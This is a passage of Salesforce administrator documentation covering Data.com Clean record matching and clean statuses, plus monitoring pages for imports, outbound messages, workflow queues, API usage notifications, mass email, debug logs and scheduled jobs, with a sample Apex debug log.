After you complete your Data.com Clean implementation and your first Clean jobs are complete, you should regularly review your Data.com Clean match results to make sure your records are being matched accurately. Run the Accounts by Clean Status report to get started. Important: If your records appear to be matched incorrectly with Data.com records, you should consider carefully before selecting Flag differences and auto-fill blank fields as a clean preference. If mismatches occur with a large number of your records, contact Salesforce Support. 1. Click the Dashboards tab, then select Data.com Analytics. Run the Accounts by Clean Status report. If your clean jobs have run successfully, youll find your accounts grouped by their clean status values. Tip: Check out the topic Understanding Data.com Clean Status on page 2729 for definitions of all the clean status values. 2. On the report, find any Salesforce records with a clean status of Different. Open several records and click Clean to look at the differences.

936

Administering Data.com Clean

Cleaning Records Manually With Data.com Clean

3. Repeat the comparison process with records that have a clean status of Not Found.

See Also:
Understanding How Salesforce and Data.com Records are Matched

Cleaning Records Manually With Data.com Clean


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To clean account records: To clean contact records: To clean lead records: Edit on accounts Edit on contacts Edit on leads

Use Data.com Clean to make sure your CRM records are always up to date. Clean works for all the account, contact, and lead records you have access to in Salesforcenot just those you previously added from Data.com. If your organization uses Data.com Premium and you clean an account or lead record that doesnt yet have a D&B Company record linked to it, Salesforce will create one if its available in Data.com and link the two records. Youll also see a D&B Company Record Linked field on the comparison page when you clean the account or lead. Note: If you clean your account records with the Data.com Corporate or Premium product or Data.com Clean, Data.com converts non-USD currencies to USD every month, which may cause the values in this field to change. For organizations that use non-USD currencies, we ignore the Annual Revenue field when determining a records clean status (so the Clean Status fields value does not change). We also remove the value from the Annual Revenue field on account records and the clean comparison page. 1. Check the records Clean Status field. 2. If the status is Different or Not Compared, click Clean to open the comparison page and compare the Salesforce record with Data.coms. Tip: From the Clean Status field, you can also get additional status information (such as which fields have different data in Data.com) and then clean the record. Just click the status icon ( ) and the popup will guide you. 3. Compare the two records side by side. Youll see a check mark next to any Data.com field value that matches the corresponding value in your Salesforce record. 4. Select the check box next to any Data.com value you want to accept.

937

Administering Data.com Clean

Comparing Salesforce and Data.com Data at a Glance

5. Click Save when youre satisfied that the record is accurate, even if you dont accept any data from Data.com. The Clean Status field reflects the records current status and its time stamp is updated to reflect your activity. Note: If you click Cancel, your Salesforce records data wont be updated, but if Data.com finds a better match for the record, the values in its Clean Status and Data.com Key fields may change. These two fields always reflect the best match from Data.com as of the most recent clean process, whether the record was cleaned manually (by you) or automatically (via Clean jobs). If your organization uses Data.com Premium and youve cleaned an account or lead record that doesnt yet have a D&B Company record linked to it, Salesforce will create a D&B Company record (if available) and link it when you click Save. The next time you open the comparison page, the linked record will be identified by its D-U-N-S Number in the D&B Company Record Linked field.

See Also:
Comparing Salesforce and Data.com Data at a Glance Understanding Data.com Clean Status Working with a Record's Data.com Clean Status Comparing Salesforce and Data.com Data at a Glance Understanding Data.com Clean Status Working with a Record's Data.com Clean Status Account Fields Contact Fields Lead Fields

Comparing Salesforce and Data.com Data at a Glance


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

When you manually clean a Salesforce account, contact, or lead record, you compare the data in your Salesforce record with data from Data.com. When you click the Clean button from a record, the comparison page appears. There youll see the Salesforce records fields and values side by side with the Data.com records fields and values. If your organization uses Data.com Corporate or Data.com Premium, the page includes the Dun and Bradstreet (D&B) fields provided with those products. Cleaning records is easier if you understand how to read and use the comparison page. Heres what youll find there.

938

Administering Data.com Clean

Comparing Salesforce and Data.com Data at a Glance

1. The columns present Salesforce and Data.com records side by side, so you can easily compare the data from each source. 2. Field names appear on the left. If Data.com) has no data for a field, the field name will not appear. Note: Some account and lead fields are available only to organizations that purchase Data.com Corporate or Data.com Premium. 3. If your Salesforce data matches Data.coms youll see a green checkmark ( ) for that field in the Data.com column. 4. If Data.com has data for a field thats blank or different in Salesforce, youll see a checkbox. Select it to accept Data.coms data. 5. If you use Data.com Premium, when you clean an account or lead record, we create a D&B Company record (if one is available from Data.com and doesnt yet exist in Salesforce) and link it to the account. The D&B Company record is identified on the comparison page. 6. By default, fields that have identical data are hidden. Click Show Identical Fields to see them all, along with the fields that have different data (as in this example). If there are a lot of fields, a scroll bar may appear. To hide identical fields, click Hide Identical Fields. 7. The Select All and Clear All links do just what they say. 8. Click Save when youre satisfied that you have the data you want, even if you dont make any changes. The Salesforce records clean status will be updated to Reviewed or In Sync. If you click Cancel, your Salesforce records data wont be updated, but if Data.com finds a better match for the record, the values in its Clean Status and Data.com Key fields may change. These two fields always reflect the best match from Data.com as of the most recent clean process, whether the record was cleaned manually (by you) or automatically (via Clean jobs). Note: You cant see the entire D-U-N-S Number value for an account (on the comparison page or the account card) until the account has been added to Salesforce from Data.com or (for existing records) cleaned with Data.com. Until you add or clean the record, the numbers first five digits are masked with asterisks (*).

See Also:
Cleaning Records Manually With Data.com Clean D&B Companies Overview

939

Administering Data.com Clean

Understanding Data.com Clean Status

Understanding Data.com Clean Status


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

If you use Data.com, the Salesforce CRM records you have access to show a status message in the Clean Status field. To clean a record is to bring it up to date with the values you wanteither accepting some or all of the latest values from Data.com, or keeping all of the values in the Salesforce record. If a user has compared two records and opted to keep one or more values from the Salesforce record, the records status is Reviewed. If the Data.com and Salesforce records are identical, either before or after theyve been compared by a user, the Salesforce records clean status is In Sync. Both Reviewed and In Sync records are considered to be clean. This table explains each clean status message and tells you how to clean records in other states (such as Not Compared and Different). Clean Status Not Compared Definition The current version of the Salesforce record has not been compared with Data.com. This status may occur because: The Salesforce record was previously compared with Data.com, but later edited by a user and not compared again. The Salesforce record was previously compared with Data.com, but later updated by a workflow or other automated process (such as lead conversion) and not compared with Data.com again. The record was created manually in Salesforce (not added from Data.com), and has not yet been compared with Data.com. You map Data.com fields to Salesforce fields, and one or more newly mapped Data.com fields has no value. Note: Records you add from Data.com always have an In Sync status until the data changes in one or both of the records. How to Clean the Salesforce Record Click Clean and compare the records side by side. If you want to keep all of the values in the Salesforce record, click Save. The Salesforce records clean status changes to Reviewed. If you want to accept any or all of the Data.com values, select the checkboxes as appropriate, then click Save. The Salesforce records clean status changes to Reviewed until: The two records are identical (In Sync status). The record is updated in Salesforce or Data.com (Different status). The record becomes inactive in Data.com (Inactive status).

940

Administering Data.com Clean

Understanding Data.com Clean Status

Clean Status In Sync

Definition

How to Clean the Salesforce Record

When your Salesforce record was last Click the icon in the Clean Status compared with the Data.com record, the field and check the time stamp to see two were identical. Records in In Sync when the record was last compared. status are considered to be clean. When your Salesforce record was last compared with the Data.com record, the user who compared them accepted one or more field values from the Data.com record and kept one or more values from the Salesforce record. Records in Reviewed status are considered to be clean, but you can repeat the clean process. Click Clean and compare the records side by side. Accept or skip Data.com values as appropriate. The Salesforce record remains in Reviewed status until: The two records are identical (In Sync status). The record is updated in Salesforce or Data.com (Different status). The record becomes inactive in Data.com (Inactive status).

Reviewed

Different

The Salesforce record has different data Click Clean and compare the records from the corresponding Data.com record. side by side. Accept or skip Data.com values as appropriate. Note: Its important to remember that a records clean The Salesforce record remains in Different status until: status can change from In Sync or Reviewed to The two records are identical (In Different when values Sync status). change in the matched A user reviews the two records and Data.com record. This may keeps one or more values from the happen regularly as updated Salesforce record (Reviewed status). information from D&B and The record becomes inactive in Data.com is made available. Data.com (Inactive status). The Salesforce record has no similar records in Data.com record. The record can't be cleaned in Salesforce because Data.com could not find a record to match it with.

Not Found

Inactive

The Data.com record corresponding to You currently cant clean records whose the Salesforce record has been marked status is Inactive. inactive. A record may be inactive if it includes an invalid email address or the company is no longer in business.

See Also:
Cleaning Records Manually With Data.com Clean Working with a Record's Data.com Clean Status

941

Administering Data.com Clean

Best Practices for Data.com Clean

Best Practices for Data.com Clean


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To implement Data.com Clean: To back up data: To set field history tracking: To set field-level security: Customize Application Data Export Customize Application Customize Application

Here are some tips and best practices for implementing, monitoring, and working with Data.com Clean. Understand how matching works. Use your sandbox environment to try out the automated clean jobs before running them in your production org with live data: After Data.com Clean is provisioned in your production org, refresh your sandbox so it has the same permissions and data. Then follow the steps in Implementing Data.com Clean to set up Clean in your sandbox. If everything runs smoothly in your sandbox environment, follow the same implementation steps in your production org. Check your match and update rates on the Clean Metrics & Analytics page. There, youll find information about the total number of records cleaned, how many have been matched, and how many have been updated. Figures represent records processed manually and automatically, and reflect your rates since your organization implemented Data.com Clean. Schedule regular backups of your account, contact, and lead data. Its always a good practice, and if your Salesforce records are ever matched inappropriately, you can revert to previous versions. Backups are most important if you use automated clean jobs that auto-fill blank fields. Set up field history tracking for accounts, contacts, and leads. Field history tracking helps you identify changes to field values, and tracks who made changes and when. If you use field history tracking, make sure you add the Account History, Contact History, and Lead History related lists to those objects respective page layouts.

See Also:
Viewing Your Data.com Clean Record Match Rates Understanding How Salesforce and Data.com Records are Matched Reviewing Data.com Clean Match Results

942

Administering Data.com Clean

Working with a Record's Data.com Clean Status

Working with a Record's Data.com Clean Status


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

The Clean Status field on account, contact, and lead records shows you the records Data.com Clean status at a glance, including when the status was last updated. But if you click the icon next to the status, youll get more status details, plus options for refreshing the status. Depending on the status, you can also clean some records right from the Clean Status field. Heres an example that shows some of your options.

1. This records status is Different because when it was last compared, one week before, the records in Salesforce and Data.com had different values for some or all of their fields. The user who compared the records previously may have: Decided not to accept any of the Data.com values. Accepted some values from Data.com and kept some Salesforce values. Clicked Cancel on the comparison page.

Click the icon to view the popup, which provides additional information and Clean options. 2. This line tells you about the Salesforce records most recent comparison activity. In this case, a user compared the Salesforce account record with Data.coms version one week ago. 3. This section provides more details about the comparison. In this case, Data.com had different Email, Phone, and Mailing Address values for the contact. 4. You can click the Clean... link to compare the Salesforce and Data.com records yourself. If you click Cancel, the records clean status will remain Different. If you click Save, even if you havent accepted any Data.com values, the records clean status will be Reviewed. .

See Also:
Cleaning Records Manually With Data.com Clean Understanding Data.com Clean Status

943

Administering Data.com Clean

Preventing Data.com Clean Auto-Updates for Account, Contact, and Lead Records

Preventing Data.com Clean Auto-Updates for Account, Contact, and Lead Records
Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To implement Data.com: To enable Data.com users: To install AppExchange packages: Customize Application Manage Users Download AppExchange Packages

You can prevent individual account, contact, and lead records from having blank fields filled with Data.com data when automated Clean jobs are run. To do so, download and install the Data.com Reports AppExchange package. It provides a custom field you add to your page layouts to identify the records you dont want auto-updated, and a validation rule that identifies attempted auto-updates on fields within those records. The validation rule tells the clean job to skip those records. Important: If you use the Block Auto-Update validation rule, keep this best practice in mind. This validation rule generates entries and related messages in Data.com Clean job logs, but your jobs may generate other entries and errors, as well, so make sure you examine your job logs carefully.

1. Download and install the Data.com Reports AppExchange package. 2. For each object you run Clean jobs on, edit your page layouts to add the Data.com Does Not Auto-Update checkbox, so its available to users. Tip: You can use the Data Loader or a custom trigger to select this checkbox for multiple records.

3. Open each record that you do not want to be auto-updated, and select the Do Not Auto-Update checkbox. When automated jobs run, for each record that is not updated, youll see a message in the job log: This record has been excluded from automated field updates from Data.com Clean jobs.

See Also:
Defining Validation Rules

944

Monitoring

Using the Import Queue

MONITORING
Using the Import Queue
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use the Import Queue: Modify All Data

Administrators can check the Import Queue to view details about an import or to cancel an organization import. Import details are removed from the queue three days after completion. 1. Click Your Name > Setup > Monitoring > Imports. 2. Select the file name of the import file to see the Import Queue Detail page for that file. If you want to cancel an import, and the import has not started processing, click Del. You cannot cancel an import after it has started processing. The possible values of the Status column are listed below: Status Aborted Description The import did not complete successfully. The error details are emailed to the user who performed the import. Aborted imports can be retried within three days, but, if multiple retry attempts are made, the import cannot remain in the queue for more than 30 days from the original import attempt. The import completed successfully without errors. The import was processed and errors were encountered. The error details are emailed to the user who performed the import. The user can fix the errors, and then attempt the import again. The import is in the queue but has not started processing yet. The import is in the queue and is currently being processed.

Completed Error Pending Processing

See Also:
Importing Overview

945

Monitoring

Tracking Outbound Message Delivery Status

Tracking Outbound Message Delivery Status


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approvals and Milestone Actions are not available in Database.com

User Permissions Needed To track outbound messages: Modify All Data

An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint. To track the status of an outbound message, click Your Name > Setup > Monitoring > Outbound Messages. Alternatively, click Your Name > Setup > Create > Workflow & Approvals > Outbound Messages, and then click View Message Delivery Status. Here you can view the status of your outbound messages: The Next items for delivery related list contains all outbound messages that are awaiting delivery. The Oldest failures in queue related list contains the oldest failures that have not yet been deleted (because they have not been delivered and are not 24 hours old). The Failed outbound messages related list contains all the outbound messages that failed to be delivered and are no longer being retried. Messages are listed here only if you configure the message when you create it by selecting Add failures to failed outbound message related list. For more information, see Defining Outbound Messages on page 1897. If you do not see this related list, it has not been enabled for your organization. Contact your salesforce.com representative.

You can perform several tasks here: Click Refresh to refresh the list. Click any workflow or approval process action ID to view the action that triggered it. Click Retry to change the Next Attempt date to now. This causes the message delivery to be immediately retried. If you select Retry in the Failed outbound messages related list, the outbound message moves to the Next items for delivery related list and is retried for another 24 hours. Click Del to permanently remove the outbound message from the queue. Note: If you don't have this option, your organization doesn't have outbound messages enabled. Contact salesforce.com to enable outbound messages.

See Also:
Managing Outbound Messages Workflow and Approvals Overview

946

Monitoring

Monitoring the Workflow Queue

Monitoring the Workflow Queue


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To manage the workflow queue: Modify All Data

When a workflow rule that has time-dependent actions is triggered, use the workflow queue to view pending actions and cancel them if necessary. To view pending actions: 1. Click Your Name > Setup > Monitoring > Time-Based Workflow. 2. Click Search to view all pending actions for any active workflow rules, or set the filter criteria and click Search to view only the pending actions that match the criteria. The filter options are: Workflow Rule Name: The name of the workflow rule. Object: The object that triggered the workflow rule. Enter the object name in the singular form. Scheduled Date: The date the pending actions are scheduled to occur. Create Date: The date the record that triggered the workflow was created. Created By: The user who created the record that triggered the workflow rule. Record Name: The name of the record that triggered the workflow rule.

The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 3136. To cancel pending actions: 1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all currently displayed items. 2. Click Delete.

See Also:
Managing Workflow Rules Creating Workflow Rules Time-Dependent Action and Time Trigger Considerations Administrator tip sheet: Workflow: Automating The Process

947

Monitoring

Monitoring the Entitlement Process Queue

Monitoring the Entitlement Process Queue


Available in: Enterprise, Unlimited, and Developer and Editions

User Permissions Needed To manage the entitlement process queue: Modify All Data

When Salesforce triggers an entitlement process that has time-dependent milestone actions, use the entitlement process queue to view pending actions and cancel them, if necessary. To view pending actions: 1. Click Your Name > Setup > Monitoring > Entitlement Processes. 2. Click Search to view all pending actions for any active workflow rules, or set the filter criteria and click Search to view only the pending actions that match the criteria. The filter options are: Entitlement Process Name The entitlement process. Case Number The case's automatically generated identifying number. Milestone Name The milestone that triggered the action. Evaluation Date The date the evaluated actions are scheduled to occur. Created Date The creation date of the case that triggered the entitlement process. Username The user who updated the case to trigger an entitlement process. The filter is not case-sensitive. See Entering Filter Criteria on page 3136. To cancel pending actions: 1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all currently displayed items. 2. Click Delete.

See Also:
Entitlement Management Overview

948

Monitoring

Monitoring the Case Escalation Rule Queue

Monitoring the Case Escalation Rule Queue


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage the case escalation rule queue: Modify All Data

When Salesforce triggers a case escalation rule that has time-dependent actions, use the escalation rule queue to view pending actions and cancel them if necessary. To view pending actions: 1. Click Your Name > Setup > Monitoring > Case Escalations. 2. Click Search to view all pending actions for any active case escalation rule, or set the filter criteria and click Search to view only the pending actions that match the criteria. The filter options are: Case To Escalate The Case Number of the escalated case. The Case Number is a unique, automatically generated number used for identifying the case. Escalation Rule The name of the rule used to escalate the case. Rule Entry The order in which the rule entry will be processed. A rule entry is a condition that determines how a case escalation rule is processed. Each escalation rule can have a maximum of 3000 rule entries. Escalation Action The time criteria specified for the case to escalate as defined in the rule entry. Ignore Business Hours Indicates if the Ignore Business Hours checkbox is selected on the rule entry, meaning that the rule entry is in effect at all times and ignores your organization's business hours. Escalate At The date and time at which the case will escalate as defined in the rule entry. Dates and times display in the time zone of the user viewing the escalation rule queue. Added Date The date and time at which the case was added to the queue. Dates and times display in the time zone of the user viewing the escalation rule queue. The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 3136. To cancel pending actions:

949

Monitoring

About API Usage Notifications

1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all currently displayed items. 2. Click Delete. Salesforce cancels the pending action.

See Also:
Creating Escalation Rules Viewing and Editing Escalation Rules

About API Usage Notifications


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view, create, edit, or delete notifications: API Enabled

When you create a request usage notification, you specify an administrator to receive an email notification whenever your organization exceeds a specified limit for the number of API requests made in a specified span of hours. For more information on API request limits, see Force.com API Usage Limits on page 2267. To view existing API usage notifications, click Your Name > Setup > Monitoring > API Usage Notifications. From the notifications list, you can do any of the following: Click Edit or Del to edit or delete an existing notification. View the name of the user who will receive the notification. View the notification interval, which defines the frequency at which the notifications are sent. For example, if the notification interval is four hours, a notification will be sent only if the last notification was sent at least four hours ago. Thus, during a 24-hour period, a maximum of six notifications will be sent. View the percent of the limit which, if exceeded, triggers a notification to be sent. For example, if your organization has a limit of 1,000,000 requests, and you set a threshold percentage of 60 (60%) and a notification interval of 24 hours, when 600,000 API requests have been sent in a 24-hour period, the specified user receives a notification. View the name of the user who created the notification and when the notification was created, as well as the last time the notification was modified, and the name of the user who made the modification. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. Additional items are available for display, including the limit ID. To edit or delete any view you created, select it from the View drop-down list and click Edit.

To create a new notification, click New.

950

Monitoring

Viewing API Usage Notifications

You can create up to ten notifications per organization.

See Also:
Creating and Editing API Usage Notifications Viewing API Usage Notifications Documentation Resources for Force.com Developers

Viewing API Usage Notifications


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view, create, edit, or delete notifications: API Enabled

On the API usage notifications detail page, you can view information about a notification: Notification RecipientThe username for the person to whom the email notification is sent. ThresholdThe percent of the usage limit that, when reached, triggers an email notification. Notification Interval (Hours)The frequency at which the notifications are sent. For example, if the notification interval is four hours, a notification is sent only if the last notification was sent at least four hours ago. Thus, during a 24-hour period, a maximum of six notifications will be sent. Created ByThe user who created the notification request, and the time it was created. Modified ByThe user who last edited the notification.

On this page, you can also create a new notification based on the values of the notification being displayed. Click Clone to create a new notification with the current values populated in the new notification. You can edit the values before saving.

See Also:
About API Usage Notifications Creating and Editing API Usage Notifications Force.com API Usage Limits Documentation Resources for Force.com Developers

951

Monitoring

Creating and Editing API Usage Notifications

Creating and Editing API Usage Notifications


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view, create, edit, or delete notifications: API Enabled

On the API usage metering edit page accessible via Your Name > Setup > Monitoring > API Usage Notifications, you can supply the required values for a rate-limiting notification: The Salesforce user who will receive the notifications. The threshold percentagethe percentage of the rate limit that, once exceeded in the specified notification interval, triggers a notification to be sent to the specified user. Value must be between 0 and 100. The time period for which the number of requests is measured, in hours. For example, if the interval is 24, the rate must be exceeded in the past 24 hours for a notification to be sent. If you change the time period, the new time period does not take effect until after the next notification of the existing time period. For example, assume you have set the time period to send notifications every hour. Then at 4:05 p.m., you set the time period to send notifications every 24 hours. A last notification from the old time period is sent at 5:00 p.m.. The next notification would be sent at 5:00 p.m. the next day.

See Also:
About API Usage Notifications Viewing API Usage Notifications Force.com API Usage Limits Documentation Resources for Force.com Developers

Monitoring the Mass Email Queue


Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed To view your mass email or cancel your pending mass email: Mass Email To view all mass email or cancel pending mass email in your Modify All Data organization:

Use the mass email queue to view the status of scheduled mass emails and cancel mass emails if necessary.

952

Monitoring

Monitoring Debug Logs

To view the mass emails you have scheduled, click Your Name > Setup > Email > My Mass Emails. If you have permission to view all mass emails in your organization, click Your Name > Setup > Monitoring > Mass Email. From these pages, you can: Click Cancel to cancel a pending mass email. Click Stop to stop a mass email that Salesforce is in the process of sending. Click Del to delete the record of a sent or canceled mass email from the queue. Click the name of the mass email to view details about an individual mass email.

The mass email queue shows the number of recipients that the mass email was addressed to and sent to. These numbers may differ because: The mass email would cause your organization to exceed its daily mass email limit. Salesforce does not send the message to any of the intended recipients in this case. One or more selected recipients opted out of receiving mass email after the mass email was scheduled but before it was processed. One or more selected recipient email addresses were removed from the contact or lead after the mass email was scheduled but before it was processed. The user who sent the mass email was deactivated after the mass email was scheduled but before it was processed. Salesforce does not send mass emails scheduled by a user who is deactivated.

See Also:
Sending Mass Email

Monitoring Debug Logs


Available in Enterprise, Developer, Unlimited, and Database.com Editions The Salesforce user interface and Email Services are not available in Database.com.

User Permissions Needed To view, retain, and delete debug logs: Manage Users

You can retain and manage the debug logs for specific users. Transactions can be generated from the following: Salesforce user interface API executeanonymous calls Web services Email services

To view saved debug logs, click Your Name > Setup > Monitoring > Debug Logs.

953

Monitoring

Monitoring Debug Logs

From this page, click New to specify a user that you want to retain debug logs for. After you have specified a user or users to retain debug logs for, you can: Click Delete to stop retaining debug logs for a specific user. Click Reset to reset the number of debug logs for a particular user. Click Filters to specify what gets logged for that user, as well as the amount of information. See Setting Debug Log Filters.

After you have started retaining debug logs, you can: Click View to view a specific log's details. Click Download to download the debug log as an XML file.

See Also:
Apex Code Overview What is a Debug Log? Retaining Debug Logs Viewing Debug Logs Setting Debug Log Filters About Apex Unit Tests Developer's Guide: Force.com Apex Code Developer's Guide

Retaining Debug Logs


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To view, retain, and delete debug logs: Manage Users

You can retain and manage the debug logs for specific users. The following are the limits for debug logs: Once a user is added, that user can record up to 20 debug logs. After a user reaches this limit, debug logs stop being recorded for that user. Click Reset on the Monitoring Debug logs page to reset the number of logs for that user back to 20. Any existing logs are not overwritten. Each debug log can only be 2 MB. Debug logs that are larger than 2 MB in size are truncated. Each organization can retain up to 50 MB of debug logs. Once your organization has reached 50 MB of debug logs, the oldest debug logs start being overwritten.

To specify that a user should have his or her debug logs retained: 1. Click Your Name > Setup > Monitoring > Debug Logs, then click New. 2. Click the checkbox next to the user or users for whom you want to retain debug logs. Only users with a checkbox next to their names don't currently have their debug logs retained.

954

Monitoring

Monitoring Debug Logs

3. Click Save.

See Also:
What is a Debug Log? Monitoring Debug Logs Viewing Debug Logs Setting Debug Log Filters Developer's Guide: Force.com Apex Code Developer's Guide

Viewing Debug Logs


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To use the Developer Console: To use the execute anonymous text entry box: To save changes to Apex classes and triggers: To save changes to Visualforce pages and components: View All Data Author Apex Author Apex Customize Application

You can retain and manage the debug logs for specific users. To view the details of a debug log, click Your Name > Setup > Monitoring > Debug Logs, and then click View next to the debug log you want to examine. Click Download to download the log as an XML file. The debug log contains information about the transaction, such as if it was successful, the size of the log (in bytes), how long the transaction took in milliseconds, and so on. The log itself contains additional information about the transaction, depending on the filters set for the user. Inspecting the Debug Log Sections After you generate a debug log, the type and amount of information listed depends on the filter values you set for the user. However, the format for a debug log is always the same. A debug log has the following sections: Header The header contains the following information: The version of the API used during the transaction. The log category and level used to generate the log. For example:

955

Monitoring

Monitoring Debug Logs

The following is an example of a header:


25.0 APEX_CODE,DEBUG;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;VALIDATION,INFO;VISUALFORCE,INFO; WORKFLOW,INFO

In this example, the API version is 25.0, and the following debug log categories and levels have been set: Apex Code Apex Profiling Callout Database System Validation Visualforce Workflow DEBUG INFO INFO INFO DEBUG INFO INFO INFO

Execution Units An execution unit is equivalent to a transaction. It contains everything that occurred within the transaction. The execution is delimited by EXECUTION_STARTED and EXECUTION_FINISHED. Code Units A code unit is a discrete unit of work within a transaction. For example, a trigger is one unit of code, as is a webService method, or a validation rule. Note: A class is not a discrete unit of code.

Units of code are indicated by CODE_UNIT_STARTED and CODE_UNIT_FINISHED. Units of work can embed other units of work. For example:
EXECUTION_STARTED CODE_UNIT_STARTED|[EXTERNAL]execute_anonymous_apex CODE_UNIT_STARTED|[EXTERNAL]MyTrigger on Account trigger event BeforeInsert for [new] CODE_UNIT_FINISHED <-- The trigger ends CODE_UNIT_FINISHED <-- The executeAnonymous ends EXECUTION_FINISHED

Units of code include, but are not limited to, the following: Triggers Workflow invocations and time-based workflow Validation rules Approval processes Apex lead convert @future method invocations

956

Monitoring

Monitoring Debug Logs

Web service invocations executeAnonymous calls Visualforce property accesses on Apex controllers Visualforce actions on Apex controllers Execution of the batch Apex start and finish methods, as well as each execution of the execute method Execution of the Apex System.Schedule execute method Incoming email handling

Log Lines Included inside the units of code. These indicate what code or rules are being executed, or messages being specifically written to the debug log. For example:

Figure 2: Debug Log Line Example Log lines are made up of a set of fields, delimited by a pipe (|). The format is: timestamp: consists of the time when the event occurred and a value between parentheses. The time is in the user's time zone and in the format HH:mm:ss.SSS. The value represents the time elapsed in nanoseconds since the start of the request. The elapsed time value is excluded from logs reviewed in the Developer Console. event identifier: consists of the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET or VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line and character number where the code was executed.

Additional Log Data In addition, the log contains the following information: Cumulative resource usageLogged at the end of many code units, such as triggers, executeAnonymous, batch Apex message processing, @future methods, Apex test methods, Apex web service methods, and Apex lead convert. Cumulative profiling informationLogged once at the end of the transaction. Contains information about the most expensive queries (that used the most resources), DML invocations, and so on.

The following is an example debug log:


22.0 APEX_CODE,DEBUG;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;VALIDATION,INFO;VISUALFORCE,INFO; WORKFLOW,INFO 11:47:46.030 (30064000)|EXECUTION_STARTED 11:47:46.030 (30159000)|CODE_UNIT_STARTED|[EXTERNAL]|TRIGGERS 11:47:46.030 (30271000)|CODE_UNIT_STARTED|[EXTERNAL]|01qD00000004JvP|myAccountTrigger on Account trigger event BeforeUpdate for [001D000000IzMaE] 11:47:46.038 (38296000)|SYSTEM_METHOD_ENTRY|[2]|System.debug(ANY) 11:47:46.038 (38450000)|USER_DEBUG|[2]|DEBUG|Hello World! 11:47:46.038 (38520000)|SYSTEM_METHOD_EXIT|[2]|System.debug(ANY) 11:47:46.546 (38587000)|CUMULATIVE_LIMIT_USAGE 11:47:46.546|LIMIT_USAGE_FOR_NS|(default)|

957

Monitoring

Monitoring Scheduled Jobs

Number of SOQL queries: 0 out of 100 Number of query rows: 0 out of 50000 Number of SOSL queries: 0 out of 20 Number of DML statements: 0 out of 150 Number of DML rows: 0 out of 10000 Number of script statements: 1 out of 200000 Maximum heap size: 0 out of 6000000 Number of callouts: 0 out of 10 Number of Email Invocations: 0 out of 10 Number of fields describes: 0 out of 100 Number of record type describes: 0 out of 100 Number of child relationships describes: 0 out of 100 Number of picklist describes: 0 out of 100 Number of future calls: 0 out of 10 11:47:46.546|CUMULATIVE_LIMIT_USAGE_END 11:47:46.038 BeforeUpdate 11:47:47.154 11:47:47.154 (38715000)|CODE_UNIT_FINISHED|myAccountTrigger on Account trigger event for [001D000000IzMaE] (1154831000)|CODE_UNIT_FINISHED|TRIGGERS (1154881000)|EXECUTION_FINISHED

See Also:
Setting Debug Log Filters Monitoring Debug Logs Setting Debug Log Filters Developer's Guide: Force.com Apex Code Developer's Guide

Monitoring Scheduled Jobs


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Analytic Snapshots and Dashboards are not available in Database.com

User Permissions Needed To monitor scheduled jobs: View Setup and Configuration

The All Scheduled Jobs page lists all analytic snapshots, scheduled Apex jobs, and dashboards scheduled to refresh. To view this page, click Your Name > Setup > Monitoring > Scheduled Jobs. Depending on your permissions, you can perform some or all of the following actions: Click Del to permanently delete all instances of a scheduled job. View the details of a scheduled job, such as: The name of the scheduled job The name of the user who submitted the scheduled job The date and time at which the scheduled job was originally submitted The date and time at which the scheduled job started

958

Monitoring

Monitoring Background Jobs

The next date and time at which the scheduled job will run The type of scheduled job

See Also:
Analytic Snapshots Overview Scheduling a Dashboard Refresh

Monitoring Background Jobs


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To monitor background jobs: View Setup and Configuration

